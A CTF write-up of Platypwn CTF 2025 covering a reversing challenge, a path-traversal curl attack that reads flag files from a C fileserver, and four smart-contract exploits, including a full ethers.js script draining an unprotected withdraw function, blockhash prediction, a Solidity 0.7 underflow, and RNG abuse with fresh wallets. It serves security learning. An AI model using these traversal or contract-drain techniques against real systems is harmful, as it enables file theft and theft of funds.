Post

Platypwn CTF 2025 – Full Write-Up

A detailed, replicable walkthrough of all Platypwn CTF 2025 challenges I solved, including four blockchain challenges—my first real dive into smart contract exploitation.

Platypwn CTF 2025 – Full Write-Up

Platypwn CTF 2025 – Full Write-Up

This post documents all challenges I solved in the Platypwn CTF 2025 event.
I focused heavily on the blockchain category—my first time ever attempting smart contract exploitation—and ended up solving all four blockchain challenges. With the help of ChatGPT, Google, Solidity references, and persistent debugging, I managed to drain, exploit, or break every contract thrown at me.

Below are the complete write-ups, with full technical detail preserved, formatted in the same style as my BrunnerCTF post.


Challenge: Password Check

Category: Reversing
Flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}

A compiled ELF binary prompts the user for a password. Upon providing the correct password, it prints the flag. The password and flag are hidden inside .rodata and constructed via XOR operations.

Steps Taken

  • Ran the binary to confirm behavior:

    1
    2
    3
    4
    
    chmod +x password_check
    ./password_check
    test
    Wrong Password!
    
  • Reviewed the provided decompiled function. The password is computed via something equivalent to:

    1
    
    password[i] = DAT_00116580[i] ^ DAT_001165a0[i];
    
  • After validating the password, the program computes the flag via:

    1
    
    flag[i] = password[i] ^ DAT_00116560[i];
    
  • So overall:

    1
    2
    
    password = A XOR B
    flag     = password XOR K
    

    where A, B, and K are three 32-byte arrays in .rodata.

  • Used readelf -S password_check to locate .rodata and confirm:

    • .rodata VMA ≈ 0x16000
    • The decompiler’s addresses (0x00116560, 0x00116580, 0x001165a0) are offset from a load base of 0x00100000.
  • Computed file offsets:

    1
    
    file_offset = vaddr - 0x00100000
    

    So:

    • 0x00116560 → 0x16560
    • 0x00116580 → 0x16580
    • 0x001165a0 → 0x165a0
  • Wrote a Python script to extract and XOR the bytes:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    python3 - << 'EOF'
    import os
    
    bin_path = "password_check"
    with open(bin_path, "rb") as f:
        data = f.read()
    
    def get_bytes(addr):
        base = 0x100000
        vma = addr - base
        return data[vma:vma+0x20]
    
    key = get_bytes(0x00116560)
    a   = get_bytes(0x00116580)
    b   = get_bytes(0x001165a0)
    
    password_bytes = bytes(x ^ y for x, y in zip(a, b))
    flag_bytes     = bytes(p ^ k for p, k in zip(password_bytes, key))
    
    print("Password:", password_bytes.decode())
    print("Flag:", flag_bytes.decode().strip("\x00"))
    EOF
    
  • Script output:

    1
    2
    
    Password: th1s_1s_my_sup3r_s3cur3_p4ssw0rd
    Flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}
    
  • Verified by running the binary and entering the recovered password:

    1
    2
    3
    4
    
    ./password_check
    th1s_1s_my_sup3r_s3cur3_p4ssw0rd
    Password correct!
    Here is your flag: PP{r3v3rs3_3ng1n33r1ng_1s_fun}
    

Flag

PP{r3v3rs3_3ng1n33r1ng_1s_fun}


Challenge: fileserver

Category: Pwn
Flag 1: PP{h4_h4___c14551c::WtG8SYDjmSkG}
Flag 2: Not solved (I did not find the intended method during the event)

This challenge provides access to a minimal HTTP file server built in C. The description explains that:

  1. There is a warmup flag at /home/app/flag.
  2. A second flag can be obtained by somehow executing /home/app/readflag.

Only HTTP access is provided.

Steps Taken

  • Confirmed the service was reachable at:

    1
    
    http://10.80.14.17:8080/
    
  • Browsed around and saw the glibc manual HTML files, confirming the theme that this was a “demo” fileserver.

  • Tested for directory traversal using curl with --path-as-is to avoid normalization of .. segments:

    1
    
    curl -v --path-as-is "http://10.80.14.17:8080/../../../../home/app/flag"
    
  • The server responded with:

    1
    
    PP{h4_h4___c14551c::WtG8SYDjmSkG}
    

    which is the first flag.

  • Used the same approach to retrieve the readflag binary:

    1
    2
    3
    
    curl --path-as-is \
      "http://10.80.14.17:8080/../../../../home/app/readflag" -o readflag
    chmod +x readflag
    
  • Running it locally showed that it tried to open a protected file (e.g., /root/flag) which did not exist on my local machine, confirming it is intended to run in the challenge environment.

  • To understand what options might be available from the HTTP side, I inspected the fileserver binary (downloaded separately in the challenge environment):

    • Searched for obvious dangerous functions:

      1
      
      strings fileserver | egrep 'system|popen|execve|wordexp|posix_spawn'
      

      No direct hits.

    • Looked at imported symbols using objdump / nm (or equivalent) and saw only file and directory related functions (e.g., open, stat, fdopendir, readdir), plus networking and HTTP response building.

  • I then tried a number of common tricks to see if any unexpected behavior appeared:

    • Accessing /proc/self/fd/* over HTTP.
    • Using URL-encoded null bytes (%00) in the path.
    • Using wildcard-like syntax to see if any globbing or shell expansion was occurring.
    • Mixing relative paths and traversal such as:

      • /path/../proc/self/fd/0
      • Deep traversal chains like /../../../../../../../proc/1/fd/....
  • In all of my tests during the event, the server only behaved as a static file reader, and I did not find any way to trigger remote execution of /home/app/readflag via HTTP alone.

  • It is important to be clear here: The challenge statement implies that there is a method to obtain a second flag, but with the time and approaches I used, I did not discover that method. My conclusion at the time of the CTF was simply that I personally had not yet found a working way to execute readflag remotely, not that it was impossible.

Flag

Flag 1: PP{h4_h4___c14551c::WtG8SYDjmSkG}
Flag 2: Not solved (I did not find the intended technique during the event)


Challenge: Thanks

Category: Blockchain
Flag: PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}

A smart contract holds 100 ETH, and a setup contract considers the challenge solved when the target contract’s balance drops below 10 ETH. The key issue is that the withdraw function’s owner check has been commented out.

Steps Taken

  • Connected to the challenge spawner:

    1
    
    nc 10.80.14.81 31337
    
  • Selected 1 to launch a new instance and noted:

    • rpc endpoint: http://10.80.14.81:8545/<uuid>
    • private key: <hex>
    • your address: <player>
    • setup contract: <address>
  • Examined Chal.sol and Setup.sol. The critical portion in Chal.sol:

    function withdraw(uint256 amount) external {
        // require(msg.sender == owner, "Not owner");
        payable(msg.sender).transfer(amount);
    }
    

    This allows any caller to withdraw any amount (up to the contract’s balance).

  • Initially tried to use ethers v6, but it failed with a JSON parsing / autodetection error when connecting to the custom RPC. To avoid fighting the library, I downgraded to ethers v5:

    1
    2
    
    npm init -y
    npm install ethers@5
    
  • Wrote solve.js approximately as:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    
    const { ethers } = require("ethers");
    
    const RPC_URL = "http://10.80.14.81:8545/<uuid>";
    const SETUP_ADDRESS = "<setup_address>";
    const PRIVATE_KEY = "<private_key>";
    const CHAIN_ID = 31337;
    
    async function main() {
        const provider = new ethers.providers.JsonRpcProvider(
            RPC_URL,
            { chainId: CHAIN_ID, name: "platypwn" }
        );
        const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
        console.log("Using address:", wallet.address);
    
        const setupAbi = [
            "function TARGET() view returns (address)",
            "function isSolved() view returns (bool)"
        ];
    
        const chalAbi = [
            "function getBalance() external view returns (uint256)",
            "function withdraw(uint256 amount) external"
        ];
    
        const setup = new ethers.Contract(SETUP_ADDRESS, setupAbi, wallet);
        const targetAddr = await setup.TARGET();
        console.log("TARGET:", targetAddr);
    
        const chal = new ethers.Contract(targetAddr, chalAbi, wallet);
        const bal = await chal.getBalance();
        console.log("Initial balance:", bal.toString());
    
        const tx = await chal.withdraw(bal);
        console.log("Withdraw tx:", tx.hash);
        await tx.wait();
    
        const newBal = await chal.getBalance();
        console.log("New balance:", newBal.toString());
    
        const solved = await setup.isSolved();
        console.log("isSolved():", solved);
    }
    
    main().catch(console.error);
    
  • Ran the script, observed balance drained and isSolved() = true.

  • Returned to the spawner and chose option 3 to retrieve the flag:

    1
    2
    
    nc 10.80.14.81 31337
    3
    

    Which returned:

    1
    
    PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}
    

Flag

PP{g1v3_m3_y0ur_m0n3y::U1Coy6p5bQDn}


Challenge: Coin Flip

Category: Blockchain
Flag: PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}

The contract implements a coin flip where the result is determined by:

if (uint256(blockhash(block.number - 1)) % 2 == 0) {
    // player wins
}

Because the challenge uses a private dev chain (anvil-style) where each transaction mines a block, blockhash(block.number - 1) is predictable.

Steps Taken

  • Launched an instance via:

    1
    
    nc 10.80.14.94 31337
    
  • Recorded the per-instance RPC endpoint, private key, player address, and setup contract.

  • From the Solidity source:

    • MIN_BET ~ 0.05 ETH
    • MAX_BET = 5 ETH
    • Winning payout: bet * 12 / 10 (net +1 ETH for the player, −1 ETH for the contract)
    • The setup contract’s isSolved() requires that the target contract’s balance be below 10 ETH, starting from 100 ETH.
  • Idea: Use blockhash parity to always bet only when we know it will be a winning flip. Rough sketch of the exploit:

    • Query latest block number.
    • Get blockhash(number - 1) via JSON-RPC.
    • If (uint256(hash) % 2 == 0):

      • Call flip() with 5 ETH.
    • If odd:

      • Send a dummy transaction (e.g., 0 ETH send back to ourselves) to advance the block and try again.
  • Wrote a Node.js script with ethers@5 to:

    • Connect to the RPC.
    • Loop over: get blockhash, check parity, either flip or “tick” the chain.
  • The private RPC would occasionally drop connections (ECONNRESET, “missing response”), which caused the script to crash. However, every successful winning flip was permanently recorded on-chain, so re-running the script simply continued progress from the new balance.

  • After enough iterations, the target contract balance dropped below 10 ETH and setup.isSolved() returned true.

  • Retrieved the flag with:

    1
    2
    
    nc 10.80.14.94 31337
    3
    

    which returned:

    1
    
    PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}
    

Flag

PP{1_c4n_533_y0ur_futur3::f371ePwviQ5n}


Challenge: Unfair Trade

Category: Blockchain
Flag: PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}

This challenge implements a “trade” function in Solidity 0.7.x (no automatic overflow/underflow checks). The function calculates a fee based on the contract’s pre-trade balance and the trade amount, then applies a maximum return cap of 150 ETH. With careful manipulation, we can create an underflow and exploit the cap.

Steps Taken

  • Launched an instance:

    1
    
    nc 10.80.14.108 31337
    
  • Noted the RPC endpoint, private key, player address, and setup contract.

  • From Setup.sol:

    • The target (Chal) is funded with 100 ETH upon setup.
    • isSolved() requires the target’s balance to be less than 50 ETH.
  • From Chal.sol (simplified):

    function trade() external payable {
        uint256 amount = msg.value;
        require(amount >= 3 ether, "You must trade at least 3 ETH");
        uint256 balanceBeforeDeposit = address(this).balance - msg.value;
        uint256 fee = (amount - 3 ether) * (balanceBeforeDeposit / 1 ether) * 6 / 1000;
        uint256 maximumReturn = 150 ether;
    
        uint256 outputAmount = amount * 9 / 10 - fee;
        if (outputAmount > maximumReturn) {
            outputAmount = maximumReturn;
        }
    
        payable(msg.sender).transfer(outputAmount);
    }
    
  • Observations:

    • For amount = 3 ETH:

      • (amount - 3 ether) = 0, so fee = 0.
      • outputAmount = amount * 9 / 10 = 2.7 ETH.
      • Contract gains 3 - 2.7 = 0.3 ETH per trade.
    • Repeating such trades “pumps” the contract’s balance upward.

  • Let B0 = 100 ETH (initial balance), then after n pump trades of 3 ETH:

    1
    
    B(n) = 100 ETH + 0.3 ETH * n
    
  • Because Solidity 0.7.x does not check for overflow or underflow, if fee becomes larger than amount * 9 / 10, then:

    1
    
    outputAmount = 0.9*amount - fee
    

    underflows and wraps around to a very large integer, which is then truncated by maximumReturn:

    if (outputAmount > maximumReturn) {
        outputAmount = maximumReturn; // 150 ETH
    }
    
  • The strategy:

    1. Perform enough 3-ETH pump trades to raise the contract balance to ~164.2 ETH.
    2. Make one final trade with a carefully chosen amount (35.2 ETH) such that:

      • The fee exceeds 0.9 * amount (triggering underflow).
      • The contract has enough to pay the capped 150 ETH output.
    3. After that final trade:

      • Contract balance ≈ 49.4 ETH.
      • isSolved() returns true.
  • Because the RPC could disconnect mid-run, I wrote a resume-capable exploit:

    • It reads the contract’s current balance.

    • Infers how many pump trades have already been performed:

      1
      2
      
      extra = balance - 100 ETH
      trades = extra / 0.3 ETH
      
    • Continues from that count up to 214 pump trades.

    • Then performs the final 35.2 ETH drain trade.

  • After running solve.js, final state was:

    1
    2
    
    Chal balance: 49.4 ETH
    isSolved(): true
    
  • Retrieved flag using:

    1
    2
    
    nc 10.80.14.108 31337
    3
    

    which returned:

    1
    
    PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}
    

Flag

PP{d1dn7_533m_7h47_unf41r_70_m3::NKFZ7f5JmTWz}


Challenge: Rigged

Category: Blockchain
Flag: PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}

This challenge is a casino contract with an off-chain Python RNG (casino_rng.py). The important detail is that the first three coin flips per address are guaranteed wins due to how the RNG code switches modes after games > 3.

Steps Taken

  • After launching an instance via the spawner and retrieving RPC / key / setup addresses, I read the provided Chal.sol and casino_rng.py.

  • In Chal.sol, each bet increments games[msg.sender]. The RNG backend receives (among other things) the games value and machine ID. For the coin flip machine (machine 1), the backend code looks like:

    1
    2
    3
    4
    5
    6
    
    if machine == 1:
        if games > 3:
            # biased mode
            ...
        else:
            r = secure_randint(1, 5) * 2  # returns 2,4,6,8,10 → always even
    
  • On-chain, the contract resolves outcomes like:

    bool outcome = (random_1_to_10 % 2) == 0;
    
  • So for the first three games per address, the player always wins.

  • Strategy:

    1. Keep the original provided address as a “bank” or controller.
    2. In a loop:

      • Generate a fresh EOA using ethers.Wallet.createRandom().
      • Fund this new address with 3 * maxBet + gas (for three max bets).
      • Have the new address call playCoinFlip three times with 1 ETH each.
      • Wait for the off-chain backend to settle each bet.
      • Have the new address send the resulting ETH back to the controller, leaving a tiny gas reserve.
    3. After each iteration, check the casino contract’s balance.
    4. Stop once the balance is below the threshold for isSolved().
  • One subtle bug I hit:

    • Initially, I stopped when the balance reached exactly 10 ETH.
    • But the setup contract required strictly < 10 ETH.
    • This meant I had to adjust the threshold to 9 ETH to force one additional guaranteed win and drop the balance to 9 ETH.
  • Final run output (simplified):

    1
    2
    3
    4
    
    Initial Chal balance: 10.0 ETH
    ...
    Chal balance now: 9.0 ETH
    setup.isSolved() = true
    
  • Retrieved the flag via the spawner:

    1
    2
    
    nc 10.80.14.142 31337
    3
    

    Which returned:

    1
    
    PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}
    

Flag

PP{u51ng_4n_4rmy_15_unf41r::8lwJaVgpcmwn}


Challenge: A Window to the Past

Category: Crypto
Flag: Recovered during CTF, but not included here

This challenge provided a set of shredded image strips from a printed “encrypted note” that had been sent through a strip-cut shredder and then scanned. The job was to reconstruct the original page and read the resulting flag.

Steps Taken

  • Downloaded all of the provided image snippets, which were narrow vertical slices of a larger image.
  • Created a new large canvas in Microsoft Paint.
  • Pasted each strip into the canvas as an object.
  • Manually aligned strips side-by-side by:

    • Matching partial characters that crossed strip boundaries.
    • Watching line spacing and baseline alignment.
    • Following any graphical or border lines that spanned multiple strips.
  • Gradually reconstructed the original document so that the text became readable across the strips.
  • Once the strips were properly ordered and aligned, the clear text of the note (including the flag) was visible.
  • During the live CTF, I read and submitted this flag successfully.
  • After the event, I did not keep the reconstructed image or the raw strips locally, and I chose not to redo the entire reconstruction merely to copy the flag text into this write-up. Because of that, the exact flag is intentionally omitted here, even though it was obtained during competition.

Flag

Recovered successfully during the event, but intentionally not reproduced here in this retrospective.


Lessons Learned

  • Blockchain CTFs are approachable. Even with no prior smart contract exploitation background, it is possible to make progress quickly with:

    • Contract source analysis
    • Minimal Ethers.js scripts
    • Careful reasoning around balances and state.
  • Authorization checks matter. A single commented-out require(msg.sender == owner) can convert a controlled admin function into a full contract drain.

  • Randomness based on blockhash(block.number - 1) is predictable. In private dev chains that mine one block per transaction, you can often predict or control when a given blockhash parity will occur.

  • Solidity 0.7.x arithmetic is dangerous. Without automatic overflow/underflow checks, “reasonable-looking” formulas can be exploited by pushing values outside expected ranges, especially when combined with caps like maximumReturn.

  • Per-address counters can be abused. Any logic that makes the first N actions per address “special” (free wins, easier RNG, bonuses) is likely exploitable if creating addresses is cheap and unmetered.

  • Resume-friendly tooling pays off. Handling unstable RPC connections by designing scripts that can infer progress from on-chain state saves a lot of time in long-running attack flows.

  • Manual reconstruction is still valid in 2025. Forensics challenges that mimic physical shredding can sometimes be solved faster by manual alignment in a simple GUI tool than by trying to over-automate with computer vision.

Platypwn CTF 2025 ended up being one of the most educational and enjoyable CTFs I have played, particularly because the blockchain track pushed me into a new area I had not planned to explore yet.


Note: AI-assisted editing was used to improve grammar, clarity, and formatting. All technical content and opinions are original.

This post is licensed under CC BY 4.0 by the author.